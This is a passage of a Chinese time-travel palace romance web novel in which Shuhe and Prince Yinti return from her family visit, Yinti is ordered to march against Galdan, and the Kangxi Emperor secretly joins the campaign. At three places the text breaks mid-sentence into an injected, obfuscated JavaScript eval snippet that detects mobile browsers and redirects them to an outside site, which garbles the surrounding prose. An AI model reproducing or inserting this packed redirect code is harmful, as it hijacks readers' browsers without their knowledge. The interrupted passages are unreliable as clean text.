慢半拍反应过来的胤褆:操!回趟福晋娘家,福晋没了! 想到什么,突然直直的看向科尔坤。 刚才还好好的,突然被这么一看,科尔坤不由得心里面一突,暗想:我做错了什么吗?应该没有吧?真的没有吗?如果真的没有的话,为什么大阿哥要这么看我? 14. 战事起 这边科尔坤被胤褆逼视的目光给搞得都不自信了,另一边舒禾却是笑得开怀,丝毫没有共情到亲阿玛的难受。 “额娘,我真的很好,能别再围着我转了吗?” 九天不见从小宠到大的宝贝女儿,再见,苏晚清眼里面已经开始浮现忍不住的泪水。 熟料,刚围着转了两圈,某人就开始嫌她烦了。 伸手戳了戳舒禾的脸,恨铁不成钢道:“你啊你,我围着你转是为什么?还不是怕你受了委屈不说,独自往肚里面吞?” “哎呀额娘,我真的很好,保清对我很好、很尊重,惠妃也没有刁难过我,我嫁过去第二天就得了掌家权。” “这些也不能代表什么,你瞅瞅这才几天,你都……你都……” 苏晚清原想说你都瘦了,看着舒禾那比出嫁前圆润了一圈的小脸,和白里透红的皮肤,愣是说不出口。 想了半天,才勉强挤出三个字,“憔悴了。” 话是说出来了,只是任谁来,都不能从舒禾那好到极点的脸上瞅出半分憔悴。 舒禾本人更是有自知之明,只是看着满脸关切的额娘,到底是默认了,抬手挽住苏晚清的胳膊朝上座走去。 “是是是,我憔悴了,今天中午好不容易能在家吃饭,可得好好补补,就是不知道饭桌上好不好有我喜欢吃的了。” “你个狭促鬼,从小就是。” 舒禾不满的撅起嘴,摇了摇头避开苏晚清伸过来的手,娇声娇气道:“哪有。” “还哪有,你刚出生时啊,就……” 听了半天有关自己是个狭促鬼的举证,舒禾听得是头昏脑胀,每每想要打断,看着额娘眉飞色舞的说着她小时候的事,就又泄了气。 罢了罢了,左不过是些囧事,就当回忆童年了。 还别说,换了个思路去听,舒禾发现,从额娘的视角看,原来那时候的她,是那样的…… 追忆了半晌童年,吃过满是她喜欢饭菜的午饭后,在家人不舍的目光下,舒禾被胤褆扶着送上了马车。 马车后面,跟着的赫然是比回门礼更多一层的礼物。 透过车窗看着渐行渐远的家人,直至看不见踪影舒禾才放下车帘,收回视线。 也是这时,舒禾才注意到胤褆那难看得脸色,“你这是?” “哼。” 胤褆冷哼一声,撇开视线,决心在回到皇宫之前都不搭理这个一有了亲人就不要他的福晋。 与此同时,舒禾只觉莫名其妙,还想着胤褆是不是突然更年期提前了。 看似生气,实则在等人来哄的胤褆,久等不到想象中的温声细语,在马车驶到午门时,成功把自己哄好了。 马车过午门进入紫禁城,车里面的人就需下车步行了,胤褆先一步下车,反手扶住舒禾,“别动,我抱你下来。” “……这是在外边。” 胤褆不屑的撇了撇嘴,“外边怎么了?这还是我家呢!” 闻言,舒禾不再反抗,任由胤褆将她抱下马车。 一路步行回到南三所,还没来得及进门,舒禾和胤褆就看见门口站了一个人,仔细一看,是康熙身边的大太监——梁九功。 两人对视一眼,皆在心里面思忖康熙这是有什么旨意来了。 明面上却是步伐一致的走到梁九功面前,由胤褆开口向梁九功发问,“梁九功,皇阿玛让你过来,可是有什么旨意?” “奴才参见大阿哥,大福晋,皇上让奴才过来,是通知大阿哥明天前去早朝报到,另外,半个月后随军征战葛尔丹。” “随军征战?还是葛尔丹?”胤褆不可置信的看着梁九功,就差没指着自己问,我一个光头阿哥,去征战葛尔丹,是皇阿玛终于看不下去我针对太子,想让我去死了吗? 对于胤褆的震惊,梁九功也见怪不怪,因为知道这道旨意时,他也挺震惊的,他敢打赌,放眼紫禁城,就没有知道这事不惊讶的人。 不过还是提醒道:“此次征战的将领,有和硕亲王,话已经带到,奴才就告退了。” “等等,秋雨。” 秋雨错半步走到梁九功身边,递给梁九功一个荷包,和气道:“辛苦梁公公跑这一趟了,小小心意,不成什么,权当做是请梁公公喝茶了。” 梁九功捏了捏手里面的荷包,脸上的笑意深了几许,看在钱的份上,又留下几句话才离开。 梁九功离开后,舒禾扶着神思不属的胤褆回到卧房,将胤褆按坐到椅子上,担心的摸了摸胤褆的脸,问道:“保清,你还好吗?” “舒禾,你说,皇阿玛是终于看够爷了吗?” “别胡说,梁九功刚才不是说了嘛,此次征战,和硕亲王也会去,想必皇阿玛就是让你去走个流程,捡个战功,回来好封你爵位。” 然而并没有什么卵用,这次回来,你还是一个光头阿哥,又熬了八、九年才捞着一个郡王。 并不知道舒禾内心正在播报历史的胤褆,此刻已经恢复了理智。 “也是,皇阿玛再怎么狠心,也不会让爷去送死,哎,舒禾你说,这次回来,皇阿玛能给爷封个什么?” “这个我就不知道了,保清不妨自己想想。” 胤褆摸了摸下巴,一脸的笃定:“贝子太低了,封了爷这个,底下的兄弟不好封,所以,要爷说,最低也得是个贝勒!” “是嘛——爷开心就好。” “舒禾,爷怎么感觉,你这表情,不像是相信爷分析的样子?” 舒禾揉了揉脸,扯出一抹笑,“你感觉错了。” “哼,就知道敷衍爷,算了,爷不跟你计较,你来,帮爷想想,出征时都带些什么好。” 听胤褆说让她出征时都带些什么,舒禾也收了玩笑的心思,白嫩的手指轻点桌面,一连串的物品名称被吐露而出。 “方便面、压缩饼干、水果罐头、酒精、纱布、换洗衣物、冷兵器……” 一大堆东西听下来,胤褆完美复刻舒禾听自己故事时的头昏脑胀了,一脸懵圈的问道:“要带这么多东西吗?” “虽然大概率用不着你上前线,但万事就怕万一,做这么多准备,也不过是以防万一。” 舒禾嘴上这么说,实则却在盘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13734944|145100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算着怎么在三天之内盘下一家足够大店。 卖什么东西她都想好了,就卖她刚才说的那些,可以单个卖,也可以组合成行军背包卖。 如果卖不出去,还能靠胤褆的名声营销一波,怎么营销她都想好了,就说这是宫里面大阿哥同款的背包、同款的吃食、同款的药物,不怕生意不好。 胤褆打了个寒颤,莫名有一种被什么东西盯上了的感觉,摸了摸手臂,扭头询问道:“舒禾,你觉不觉得有点冷?” “啊!冷吗?不觉得啊。” “只有我一个人感觉到了?行吧,那可能是我的错觉,” 胤褆感觉到现在又没感觉了,一挥手直接扯开了这个话题,“舒禾,你刚才说的那些东西难做吗?难做的话就算了,咱们这边准备不准备都行,大不了我磨皇阿玛去。” “不难做,院里面的人都发动起来,两天时间就能搞定,还能多做出来几份,到时候都给你带上,你看看和谁关系好,可以送他一份。” 胤褆表面上哦了一声,心里面则是恶狠狠想:关系好?他和谁关系都不好,他福晋做的东西,只能他用! 随军征战的旨意前一天刚下来,今天胤褆刚上朝离开没多久,舒禾就被惠妃派来的人叫了过去。 跟着惠妃身边的大宫女翠宛来到延禧宫,舒禾正欲行礼,就感觉一阵香风拂面,整个人就被拉住了。 “额娘?” 惠妃一脸憔悴地拍了拍舒禾的手,“好孩子,不用行礼,昨天的事,额娘都听说了,让你受委屈了。” 委屈? 电光火石之间,舒禾就想明白到底是怎么回事了。 按说她跟胤褆刚成婚没多久,胤褆该是留下来好好陪她的,但是这结婚不到十天,就得到了半个月后随军征战的消息。 总得来说,相处时间都不到一个月,夫君就被跑了,落到外人眼里面,她可不就是受委屈了嘛! 而惠妃今天叫她过来,想必是为了胤褆来安慰她的,不让她对胤褆生意见。 捋顺了思绪后,舒禾不由得感叹道:真真是可怜天下父母心。 不过可怜归可怜,他还是得趁着这个机会小作一下,要不然惠妃认为她完全不在乎胤褆,以后对她使绊子就不好了。 接下来,就是她拼演技的时刻了! 眨眼间,泪盈于睫,舒禾欲言又止的看着惠妃,颤抖着吐出两个子,“额娘……” 看着这样的舒禾,惠妃在心里面骂了两句的直男儿子,又赶忙摸着舒禾的头安慰。 “好孩子,我知道你委屈,想哭就哭吧,发泄一下也好,只是在外,千万不能表现出来。” “儿媳知道的,皇阿玛做什么都有他的道理。” “是是是,你皇阿玛做什么都有他的道理。”有道理个鬼哦,把新婚的儿子派出去打仗,这是唯恐儿子后院和谐了啊! 知道的是他派儿子出去捡功劳,不知道的还以为他害怕太子地位不稳,要把初长成的儿子赶紧掐了呢! 惠妃心里面骂骂咧咧,明面上却用了毕生的克制力,不让自己的大嗓门发功。 15.请赐 并不知道惠妃在心里面骂骂咧咧的舒禾也在心里面骂骂咧咧。 她本来都打算好了,归宁回来就开始试探胤褆的想法,并不着痕迹的透露她手里面有传教士,和国外现在正在经历大洗牌,掺和进去就能得到一块领地。 比在大清做个没有封地的王爷、郡王什么的好多了,甚至已经在商场里面定制好了‘拐带胤褆五年计划’,做好了为此奋斗多年的准备。 可是突然来这么一竿子,直接把她的计划全权打乱了,真真是让她恨得牙痒痒。 婆媳两个抱头安慰了对方(心里面骂了)半晌,看到对方脸上露出的笑脸,皆觉得安慰好了对方。 看着对方的眼角眉梢都洋溢着潜藏的欣慰,也就两人一直待在一块看不出来,换一个人进来都得一脸懵。 这不,下朝后害怕额娘和福晋打起来的胤褆,着急忙慌赶过来看到这一幕,正一脸懵的站在门口呢。 谁能来告诉他,为什么一上午过去,他就同时看不他懂额娘和福晋了? 早就发现傻儿子来了,但不想搭理他的惠妃,见胤褆一直傻站着不动,方才略带嫌弃的开口:“胤褆来了啊,坐吧。” “额娘,你怎么变成这样了?” “这样?呵,胤褆你过来,过来告诉我,我变成什么样了?” “额娘,我又不傻,你这一副怒气冲冲的样子,我过去肯定挨揍,我不过去,”说着,胤褆对一边看热闹的舒禾招了招手,“走了,回家。” “额娘,那我们就……” 听了胤褆的话,惠妃只觉得火冒三丈,怎么,她这是什么凶恶险地吗?刚来就要走。 瞪了一眼胤褆,扭头朝翠蕊道:“回家?回个鬼的家,翠蕊,把我的棍子拿过来!” 听到棍子两个字,胤褆一下子就想起了自己的童年噩梦,也顾不得三七二十一了,趁着翠蕊还没拿着棍子出来,快跑两步过去抓住舒禾的胳膊一路朝着延禧宫外狂奔。 “胤褆!你小子……” 惠妃接下来说了什么,舒禾已经听不清楚了,只记得很累,胤褆一路带着她狂奔回南三所让她身体很累,路上碰到给佟贵妃请安回来的胤禛连礼数都来不及回很心累。 想到这一路狂奔,明天、不,一会会出现的各种传言,已经不是简单的心累可以概括得了。 身心俱疲,导致舒禾一回到熟悉的卧房,就找了个地方瘫下了。 拿开胤褆一直戳她脸的手,小声道:“我现在很累,让我歇歇好吗?” “好,那你歇着,爷去给皇阿玛告罪。” 告罪?舒禾抓住胤褆转身时甩来的手,焦急的问道:“罪,什么罪!” “拉着你在紫禁城狂奔,失了皇阿哥的体面,就是罪,我现在不去找皇阿玛告罪,等他找我,就大祸临头了。” “你明知道有罪,还拉着我狂奔,额娘的棍子有那么可怕吗?” 舒禾边说边整理因狂奔乱了的衣服,准备一会和胤褆一起去请罪,毕竟,紫禁城中狂奔的不只是胤褆一个,不是吗? “额娘的棍子啊,那可老吓人了,足有我手臂粗……” 说到手臂粗,胤褆脸上的表情狰狞了一瞬,很明显想到了以前挨打时疼得死去活来的模样。 顿了顿才接着道:“更何况额娘自小锻炼,入了宫也没落下,舞起棍子,说是虎虎生风也不为过,这样的棍子打到人身上,皮开肉绽都是轻的。” “照你这么说,你长这么大,还挺不容易的。” 想到自己是皇家第一个立住的皇阿哥,胤褆赞同的点点头,“是挺不容易的。” “行了,我收拾好了,咱们两个去给皇阿玛请罪吧。” “不行!你不能去!” 舒禾不解歪头,“我为什么不能去?” 当然是因为你去了我不好抱着皇阿玛大腿求饶啊!而且,你去了,我原来的计划不就费了? “当然是因为你属于后宫,不归皇阿玛管,你要请罪,得去找额娘。” “你确定额娘会罚我?” “确定。”就是确定不会才让你去找额娘的,要不然他傻啊,把福晋推出去受罚! 胤褆嘴上一出,心里面一出,想完后,拍了拍舒禾的头,潇洒道:“行了,乖乖呆着,等爷回来。” “嗯,嗯?” 见胤褆关顾着耍帅而忘了关注脚下的路,舒禾从喉咙里面发出了疑问的第二声。 “咳,爷没事,爷很好,李阔!把这门槛平了!” “噗嗤——” “福晋,您看这门槛?” 舒禾摆摆手,“留着,追你主子去吧。” “哎!奴才告退!” 来到康熙办公的御书房外,胤褆鸟悄的摸到梁九功身边,拍了拍梁九功的肩膀,灿烂一笑,“梁公公,进去通报一……” “砰!还不滚进来!” 这重物落地的声音,这带着怒气的吼声,无一不令胤褆太阳穴直跳,不是,他就在紫禁城狂奔了四分之一圈,至于这么生气吗? 抱着我是你儿子,再这么你也不能杀了我的心,胤褆小心翼翼的推开房门,探进一个脑袋,喊了声:“皇阿玛?” “砰!” 迎面就是一个奏折,胤褆靠着自己优秀的身法,愣是给躲了过去,躲过去的一瞬间,胤褆就心知糟了,老爷子这怕是要气炸了。 “胤褆!滚进来!” “是是是,这就滚进来挨打,皇阿玛您别气,为了我气坏身子,不值当不值当啊!” 胤褆进门捡起地上的奏折,瞥了一眼,是劝阻皇阿玛不要亲征的奏折,瞬间对康熙为什么这么生气有了数。 拿着奏折一个滑跪来到康熙身边,将手中的奏折递上去,“皇阿玛,您再扔一次吧,这次儿臣保证不躲。” 康熙拿起刚才看了一半的奏折,瞥了一眼胤褆,没好气地问道:“朕就是那会胡乱撒气的人?” 这问题,但凡回答一个是,他今天就别想全须全尾的出去了,最次也是三板子起步,你说他敢回答是吗? 胤褆憋屈的凝视着地面,连声道:“不不不,皇阿玛您不是,儿臣是。” “哼!”康熙冷哼一声,睨了一眼胤褆,冷声道:“说说吧,这次过来又闯了什么祸?” “没闯祸,就是过来看看您心情好不好。” “胤褆,朕看上去就那么好糊弄?” 好糊弄不好糊弄的,不都被太子装乖骗了那么多年嘛,胤褆心里面腹诽道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13735508|145100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不说话,是要让朕命人去查?” “不用!”胤褆一个激灵跪直身子,“也不是什么大事,就是在延禧宫不小心惹了额娘,额娘说要用棍子打我,然后、然后……” 听到感兴趣的了,康熙放下手里面的奏折,给了胤褆一个正眼,“继续。” “然后我就拉着福晋跑了。” “这里面还有你福晋的事?” 胤褆点头,“儿臣去时,福晋刚准备离开,孰料就被儿臣给牵连了,皇阿玛,天地良心,我只是条件反射跑了,到家才发现还拉着福晋。” “紫禁城狂奔,这事说大也大,说小也小,落到你眼里面,恐怕是一件小到不能再小的事了吧?说吧,今天过来,到底是为了什么。” 知子莫若父,康熙话音刚落,胤褆就嬉皮笑脸的从地上站了起来,对着康熙比了个大拇指,“皇阿玛不愧是天子,连这都猜到了。” 康熙似笑非笑的看了胤褆一眼,不客气道:“拍马屁没用,赶紧说事,我这正忙着呢。” “是!” “这事对儿臣来讲,确实是一件小事,但是对福晋来讲,就是一件大事了,儿臣斗胆,请皇阿玛给福晋随便赐点什么,让其他人不敢在私下议论儿臣福晋。” 闻言,康熙这下子是彻底坐直了,看了胤褆许久,忽然轻笑出声,“胤褆啊胤褆,旁人常说爱新觉罗氏世代惯出情种,朕当时嗤之以鼻,却没想到是应到了你身上。” 面对康熙的眼神逼视,胤褆内心暴汗,明面上却是不解的一歪头,“皇阿玛,儿臣怎么就是情种了?大婚不足一月,正是新婚燕尔之际,儿臣为福晋多着想一些也没错吧?” 胤褆话里话外的意思都是,我这么干,完全是因为新鲜感,和情种两个字没用一丝一毫的关系,皇阿玛您可别在这方面多想了。 有空多想想一个月,您想想一个月时间不到,我就要被你派出去打仗,留福晋一个人独守空房,不得意思意思给点东西压下众人浮躁的心? “呵,朕的大阿哥,结完婚,这嘴皮子都利索了不少。” “皇阿玛,儿臣……” “滚!” 胤褆咬了咬牙,应道:“是!儿臣告退!” 离开时,胤褆还不甘心的回头望了一眼,那眼神,仿佛下一秒就要转身冲进去。 看的梁九功那是一个心惊胆战,身体紧绷,随时准备拦下硬闯的胤褆。 但是胤褆理智还在,最多也就看一眼,并不会硬闯,也不敢硬闯,毕竟还和他的头现在关系还不错,不想就这么分开。 虽说是走了,但是胤褆总觉得心口跟堵了点什么东西一样。 今天他进了御书房,没能给舒禾求下点什么,他都能猜到他离开后,那些多嘴的人会怎么议论舒禾了。 无非是新婚不足一月他就去打仗,揣测他是不是非常讨厌这个福晋,导致新婚都不想给她留一点面子。 操!越想越气,胤褆抬脚踹了一脚墙,得,这下不止气,还疼了。 就在胤褆负气走到南三所大门,准备进去时,紧赶慢赶追过来好不容易看到他背影的梁九功,赶忙喊道:“大阿哥!您等等,皇上这边给带了道旨意!” “啧,说吧,要打几板子。” 16.送别 刚喊完正在喘气的梁九功闻言,气都没喘匀就解释道:“不……不,不是板子。” “呵,那就是罚跪,说吧,几个时辰。” 好不容易喘匀气的梁九功连忙道:“也不是罚跪,是好事!皇上给您和大福晋赐了东西!奴才这边先行通知,东西随后就到。” 胤褆狐疑的看着梁九功,怀疑这是他和老爷子商量出来整他的话,他怎么就不信老爷子有这么好心呢? 被这样的眼神看着,梁九功直接毛了,一甩胳膊上的浮尘,无奈道:“哎呦奴才的大阿哥,千真万确,东西随后就到,奴才总不能拿这个骗您吧?” “老爷子什么时候这么好心了。”胤褆也管梁九功听到没听到,直接嘟哝道。 反正什么该说,什么不该说,梁九功心里面有数。 等远远看到送东西的人影后,胤褆朝梁九功摆了摆手,“行了,东西送到了,梁公公也可以走了,慢走,不送,李阔,带上东西回去。” “是,爷。” 李阔接手来人手中的玉如意,快步跟着胤褆进了南三所。 徒留梁九功看着两人的背影在风中凌乱,不是,就这么走了啊,一点赏钱都没有? 早知道是这么个结局,他还不如直接进去找大福晋呢,好歹大福晋会给赏钱! 捧着礼物慢走一步的小太监见状,走到梁九功附小做低的问道:“师傅,您看这?” “回去,皇上那还等着人伺候呢!”下次,再有给大阿哥送东西的活,他一定要扔给魏珠,让魏珠也憋屈憋屈。 “舒禾!舒禾!快出来,爷给你带了个好东西!快点!” 在胤褆一连串催命一样的喊声中,舒禾赶忙撩开门帘就走了出来,“来了来了,带什么回来了,让我看看——玉如意?保清,怎么带着这个回来了?” “皇阿玛给的!” “你不是去……”舒禾瞟了一眼人多眼杂的院子,拉着胤褆就回了房,示意秋雨退出去守住门口才开口问道:“你不是去请罪了嘛,皇阿玛非但不罚还给你了东西,我怎么就那么不信呢?” 胤褆扬眉笑得一脸张扬,用手指点了点脸侧,“你亲我一口,我就告诉你为什么。” “爱说不说。” 舒禾松开胤褆的手往旁边走了两步,又没忍住好奇心回来,抬手环住胤褆的脸亲了一口,“亲了,赶紧说到底怎么回事。” “我一到御书房就先请了罪,皇阿玛一看我态度好,就决定不罚我了,然后我就顺势提起了你——” 说着,胤褆抬手戳了戳舒禾的脸,一脸的笑意,“皇阿玛一听我提起了你,你都不知道,那脸刷一下就变了,就我现在这个表情,问我是不是爱新觉罗家新出的情种。” “然后呢,你怎么说?”舒禾已经完全被胤褆的叙述外加表情表演带了进入,胤褆一听就连忙追问道。 “然后——然后我就说,皇阿玛你别冤枉我,我和福晋那是不足一月,新婚燕尔,正新鲜着呢。” “是该这样说。”谁人不知,康熙最烦情种,若是胤褆被扣上了这么个称号,胤褆怎么样不说,她一定好过不了。 看出舒禾眼里面的后怕,胤褆摸了摸舒禾的头,弯腰将人打横抱起,走到软榻上坐下,低头蹭了蹭舒禾的头。 “爷虽然在皇阿玛面前说只是新鲜感,但是你放心,实际上绝对不止是新鲜感,爷……咳,我对你是有真感情的。” 这不亚于告白的话,听的舒禾手指发麻,垂在身侧的手缩了缩,生硬的转移话题道:“还没有讲到为什么送玉如意,保清,继续讲吧。” “……接着,我在皇阿玛面前提起了一个月,皇阿玛聪明,联想到了你,知道我这时候离开,宫中必定会出现有关于你的流言蜚语,特意赐下玉如意镇压,讲完了。” 说完,胤褆一脸轻松的看着舒禾,半点不提他主动在御前请赐东西,差点引得康熙动怒的事。 胤褆不说,舒禾自然不知,只以为这真的是康熙的安排,心里面因胤褆出征而降下的印象分,一瞬间拉回不少。 宫内生活无聊,之前琢磨着开的店也没开起来,倒不是舒禾没有那个实力,而是思考后,觉得真的不适合。 方便面用白面做,酒精需要高浓度酒蒸发后才能获得,纱布需采用上好的布匹抽丝制作,水果罐头需要玻璃罐、水果、冰糖…… 哪一样都不是现今普通士兵能够消费得起的,而能够消费得起的,又没有上战场那个忧愁。 专门从她建在京郊的工厂里面抽取一条生产线生产这些东西,对于身为生意人的舒禾来说,无疑是不划算的。 在宫内轻易接触不到外边,一天天守着自己的那一亩三分地,舒禾感觉整个人就像是被圈养的猪一样,胖了不少。 半个月时间一晃而逝,眨眼间就来到了胤褆随军出征的时间。 这次出征,并没有什么城门相送,也没有什么大手一挥许诺无数赏赐,该说的、该鼓舞的,早在昨天就已经尽数完成。 真正离开时,相送的只有最亲近之人。 午门处,舒禾看着身穿盔甲的胤褆,第一次感觉到了战争逼近的紧张感。 这种感觉是在带着秋雨她们几个赶制物资时所没有的,这种感觉催着舒禾多说些什么。 “爷,万事皆以保重自身为重,莫冲动,要记得,在这宫中,不止一个人等着您回来,还有这些物资,用不上的就分出去,别那么小气,也许这些东西,能救……” 舒禾絮叨了许久,胤褆也听了许久,一直没有打断,直到和硕亲王派人来寻,胤褆跟着人离开,舒禾静立了许久方才跟着秋雨回去。 而在舒禾离开后,惠妃的身影从一个拐角处走出,翠蕊扶着惠妃,担心的喊了一声:“娘娘。” “我没事,只是看到他们两个的真情流露,有些感慨罢了。” 扶着惠妃回宫的路上,翠蕊有些不解的问道:“娘娘您也是去送大阿哥的,为什么不出去呢?” “他们小两口告别,我过去干什么?” “可是,您是大阿哥的生母,您不过去,大阿哥看不见您,他不会多想吗?” 闻言,惠妃轻笑一声反问,“你又怎知,胤褆没有看见?” 方才胤褆可是往她所在的地方看了很多眼,她们两个也对视了片刻,有时候,对视并不比说话差什么…… 这边,秋雨扶着舒禾回去的路上还在说,“大阿哥随军出征都不见惠妃露面,也不知道他们这母子关系到底算是好不好。” “好,而且你怎么知道惠妃没来?” “啊?”秋雨扶着舒禾迈过一节台阶,理所当然的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13739091|145100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说道:“午门处就咱们几个,一眼就能看尽的地方,来没来人还能不知道吗?” “你背后又没长眼睛,怎么看得尽所有地方。” “福晋的意思是,惠妃来了,只是咱们没看见?” 舒禾点了点头,“肯定来了,只是当时我和保清在说话,就没出现。” 惠妃就胤褆这么一个孩子,随军出征怎么可能不担心、不来送行,之所以不出现,完全是给她面子,不想打扰他们夫妻两个道别。 回想嫁进来将近一月,惠妃非但从来没有为难过她,反而处处袒护,这次更是躲在暗处不出现…… 人心都是肉长的,感情都是相处出来的。 惠妃对她的好,她能感觉到,只是要说怎么回报这份好,她还没有什么头绪。 只默默打算在胤褆离开时,多去陪陪惠妃,以免她想偏或者太过于思念胤褆而生病。 说干就干,胤褆离开的第二天一早,舒禾收拾收拾平时打发时间的东西,带着秋雨和秋霞就去了延禧宫。 延禧宫内,惠妃刚起床就听外边宫人来报,“娘娘,大福晋来了。” “舒禾?”惠妃讶异的挑了挑眉,“将她带到偏厅去,好好招待。” “是,”翠宛应了一声后,就走到外边交代了起来,“你,去把大福晋带到偏厅,茶水糕点一应物件全部上齐,切记……” 翠蕊梳着手上柔顺的头发,看了看镜中闭着眼的美人,小声道:“娘娘,大阿哥已经离宫……” “是啊,胤褆那个混小子走了,倒留下个可心的儿媳陪着,还算是他小子做了件好事。” 被惠妃这么一打断,翠蕊就知道她这是什么意思了,连忙告罪:“奴婢刚才擅自揣度您的心事,请娘娘恕罪。” “你啊,哪家告罪是只站着嘴上告告的?”惠妃睁开眼睛,隔着空气点了点翠蕊,调侃道:“真是越老越没规矩了。” 翠蕊当即笑着回道:“娘娘仁慈,奴婢才敢如此。” “花言巧语。” 偏厅内,舒禾等了大概一柱香的时间就见惠妃走了进来,目光从惠妃新化的妆容上扫过,瞬间就知道她刚才是在等什么了。 她等的那是惠妃吗?不是,她等的是这个妆容。 “儿媳参见额娘,给额娘请安。” “行了,不用行礼,过来坐。” 舒禾走到惠妃身边位置坐下,朝拿着牌九的秋雨招了招手,扭头对着惠妃讨巧卖乖道:“额娘,儿媳在南三所内待得实在无聊,不知道能不能厚着脸皮在请额娘陪儿媳玩玩这打发时间的东西?” 惠妃扫了一眼牌九,又瞅了一眼卖乖的舒禾,饶有兴致的问道:“你那南三所凑不出四个人。” “能倒是能,但是她们忒没趣,一个个的收着势,不敢赢儿媳。” 闻言,惠妃了然的点点头,“懂了,这是觉得只赢没意思,讨输来了。” “哎呀额娘~” 听着这一声额娘,惠妃放在桌上的手指蜷了蜷,有点懂为什么有些人那么喜欢女儿了,如果女儿是这样的,她也挺喜欢的。 只可惜,她没生女儿,生了个混世魔王。 被惠妃用可惜的目光看着,舒禾浑身上下汗毛都竖了起来,为什么要用这种眼神看她,她不小心犯了什么杀头的事,要死了? 17.皇帝失踪 “额娘,你这么看我……” “是我身上有什么地方不妥吗?” 惠妃被舒禾的话打断思绪,意识到刚才自己有些失态了后,轻咳一声,摆摆手,“没什么,不是说玩牌九吗?来吧。” “好!秋雨,赶紧把东西放好。” “叫秋雨是吧?上桌一起玩,翠蕊,你也一起。” 惠妃发话,凑了四个人一起玩牌九,就在四人玩得如火如荼时,外边却闹翻了天,只因本应该上朝的康熙没了。 向来没缺过早朝的皇上!就那么没了! 在太和门等着皇上上早朝的大臣们,无一不惊慌失措,在找人的小太监回报,养心殿也没人后,已经有大臣晕了过去。 早朝上一片混乱,已经启程的军队里面也是一阵骚乱。 只因!队伍里面凭空多了两个人! 和硕亲王福全,看着站在自己面前的康熙和梁九功,好悬没有尖叫出声。 他克制住了,胤褆却没有克制住,一个快步走到康熙面前,大嗓门横空出世。 “皇阿玛!你不是已经放弃亲征了嘛!为什么会出现在这里!是来送我的吗?是吧?一定是吧?” 康熙皱着眉头瞅了一眼凑到面前的大脸,嫌弃的给了梁九功一个眼神,梁九功立马动起来了。 上前两步拉着胤褆往一边走,“奴才的大阿哥啊,您就别添乱了,先随奴才去一边等着吧。” “梁九功?”胤褆想到什么,眼睛一亮,“你跟着皇阿玛一起来的,肯定知道皇阿玛是来干什么的对不对?告诉我!” “哎哟,您就别为难奴才了,等皇上和和硕亲王说完话,您自然就知道了。” 福全看着自顾自走到上首坐下的康熙,咽了咽口水,凑过去小心翼翼的问道:“皇上,您还走吗?” “不走,亲征。” 听到这四个字,福全只感觉眼前一黑又一黑,扶着桌子稳住身形,勉强道:“您就算是要亲征,也不是这么个亲征法啊,您先回去,等内务府那边拟好了章程,再亲征也不迟啊皇上!” “福全,你也骗朕,朕知道,你们都不想让朕亲征,但是葛尔丹攻破的是朕的城池,残害的是朕的子民,让你们去前线,而朕蜗居于皇宫之内等你们的消息,朕、做不到。” “皇上,前线事态多发,太过于不可测,您的身体重要啊皇上。” “身体身体!朕身体怎么样,朕最为清楚!” 瞥见康熙脸上的怒容,福全深吸一口气,咽下劝康熙保重身体的话,转而道:“您匆忙离开,朝中事务该当如何?” “朕离开之时,由太子监国。” “太子年幼,焉知那些老臣会不会倚老卖老,为难太子?” “朕早已安排妥当。” 福全无奈的抬头望天,很想问问老天爷,为什么他这皇弟越大越任性…… 等等,任性,福全想到什么,赶忙问道:“您离开,太子知道吗?” 沉默,长久的沉默。 得,太子也不知道,他就说呢,太子要是知道的话,为什么不劝劝,敢情是不知道啊! “太子都不知道您离开,您让他监的哪门子国?” “朕给他留了书信。” “呵——呵呵——” 最终,福全还是没有把康熙劝回去。 晚上,安营扎寨之际,看着跟福全待在一起的皇阿玛,胤褆就知道结果了。 看了一眼皇叔,一撇嘴,给了福全一个您这也不行啊的眼神。 成功收到胤褆眼神的福全磨牙,是他不行吗?明明是官大一级压死人,他一个亲王,面对皇帝,能怎么办?死谏?别逗了,他敢打赌,他都轮不到死就被撂趴下了,他这皇弟的武艺可不比他…… 福全正想着呢,突然闻到一股霸道的香味,当即开口闻到:“什么味道?好香。” 话音落地,福全和康熙同时看向胤褆——手里面的碗,被两位长辈同时注视的胤褆手一抖,差点没把刚泡好的方便面给摔了。 迎着两人的目光,胤褆硬着头皮快速吃了一口面方才开口,“皇阿玛,皇叔,你们两个看什么呢?”看清楚了,他手里面的吃过了,不能给其他人吃了! 康熙看着胤褆的一系列动作,眯了眯眼,深觉碗里面的东西不简单,“胤褆,你手里面的是什么?” “碗啊皇阿玛,就是一个普普通通的碗。” “碗里面。” “干粮。” “呵,那你再看看朕手里面的是什么。” 